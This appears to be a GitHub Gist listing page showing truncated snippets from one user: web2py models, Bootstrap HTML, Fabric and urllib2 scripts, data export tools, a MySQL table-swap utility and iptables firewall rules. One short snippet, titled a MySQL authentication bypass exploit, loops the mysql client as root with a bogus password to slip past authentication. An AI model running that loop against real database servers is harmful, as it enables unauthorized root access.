Skip to content

Instantly share code, notes, and snippets.

@goldenboy
goldenboy / contenttypes.py
Created August 9, 2012 03:42 — forked from rochacbruno/contenttypes.py
Movuca content type
class Product(ContentModel):
tablename = "product_data"
def set_properties(self):
ckeditor = CKEditor()
T = current.T
self.fields = [
Field("price", "double", notnull=True, default=0),
Field("manufacturer", "string", notnull=True),
Field("in_stock", "boolean", notnull=True, default=True),
@goldenboy
goldenboy / python mysql_bypass.py
Created June 21, 2012 22:07
Massive MYSQL Authentication Bypass Exploit www.MundoPython.org
#!/usr/bin/python
import subprocess
while 1: subprocess.Popen("mysql -u root mysql --password=blah",shell=True).wait()
@goldenboy
goldenboy / bootstrap-navbar-dropdown.html
Created May 5, 2012 20:27 — forked from tfausak/bootstrap-navbar-dropdown.html
Dropdown menu in Twitter Bootstrap's collapsed navbar
<!doctype html>
<html>
<head>
<meta charset=utf-8">
<link href="http://twitter.github.com/bootstrap/assets/css/bootstrap.css" rel="stylesheet">
<link href="http://twitter.github.com/bootstrap/assets/css/bootstrap-responsive.css" rel="stylesheet">
<style>
@goldenboy
goldenboy / check_versions.py
Created March 9, 2012 06:36 — forked from coordt/check_versions.py
Show local, remote and current versions of installed packages using Fabric
from __future__ import with_statement
from fabric.api import env, run, settings, hide, local
from fabric.decorators import hosts, runs_once
import os
import pip
import sys, xmlrpclib
from cStringIO import StringIO
from distutils.version import StrictVersion, LooseVersion
def _find_current_version(package, index_urls=None):
@goldenboy
goldenboy / jqueryui-themes.py
Created March 7, 2012 22:56
Stolen jqueryui-custom-themes
jquitheme={}
jquitheme["http://www.stormondemand.com"]='''
http://jqueryui.com/themeroller/?ffDefault=Trebuchet%20MS,%20Tahoma,%20Verdana,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=f6a828&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=35&borderColorHeader=e78f08&fcHeader=ffffff&iconColorHeader=ffffff&bgColorContent=eeeeee&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=100&borderColorContent=dddddd&fcContent=333333&iconColorContent=222222&bgColorDefault=f6f6f6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=100&borderColorDefault=cccccc&fcDefault=1c94c4&iconColorDefault=ef8c08&bgColorHover=fdf5ce&bgTextureHover=02_glass.png&bgImgOpacityHover=100&borderColorHover=fbcb09&fcHover=c77405&iconColorHover=ef8c08&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=fbd850&fcActive=eb8f00&iconColorActive=ef8c08&bgColorHighlight=ffe45c&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=75&borderColorHighlight=
@goldenboy
goldenboy / 0_urllib2.py
Created March 7, 2012 18:06 — forked from kennethreitz/0_urllib2.py
urllib2 vs requests
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib2
gh_url = 'https://api.github.com'
req = urllib2.Request(gh_url)
password_manager = urllib2.HTTPPasswordMgrWithDefaultRealm()
@goldenboy
goldenboy / gist:1928239
Created February 28, 2012 00:55 — forked from jatorre/gist:1610866
Script to download all layers from SimpleGeo storage to CSV files
# The following script allows to export a SimpleGeo Storage layer to a CSV
# You have to change the credentials and the layer that you want to export
# It will generate a CSV file with the name of the layer
#
# Author: Javier de la Torre ([email protected] @jatorre)
#Adapt the following to your SimpleGeo credentials. Get it from the UI.
oauth_token="token"
oauth_secret="secret"
@goldenboy
goldenboy / nominees.py
Created February 27, 2012 21:42 — forked from eyeseast/nominees.py
Aggregate the number of nominees by outcome for each congress since the 107th
#!/usr/bin/env python
# encoding: utf-8
"""
Aggregate the number of nominees by outcome for each congress since the 107th
"""
import csv
import sys
import os
@goldenboy
goldenboy / mysql-replace-tables-live.py
Created February 19, 2012 22:30
mysql-replace-tables-live
#!/usr/bin/env python
"""mysql-replace-tables-live
Replace live, in use, MySQL tables without restarting or interrupting
dependent applications.
http://code.google.com/p/mysql-replace-tables-live/
By Richard Bronosky, offered under the MIT License
http://www.opensource.org/licenses/mit-license.php
Sometimes you find yourself needing to replace tables on production servers.
sudo iptables -F
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -i ! lo -d 127.0.0.0/8 -j REJECT
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 10000 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 3333 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 3000 -j ACCEPT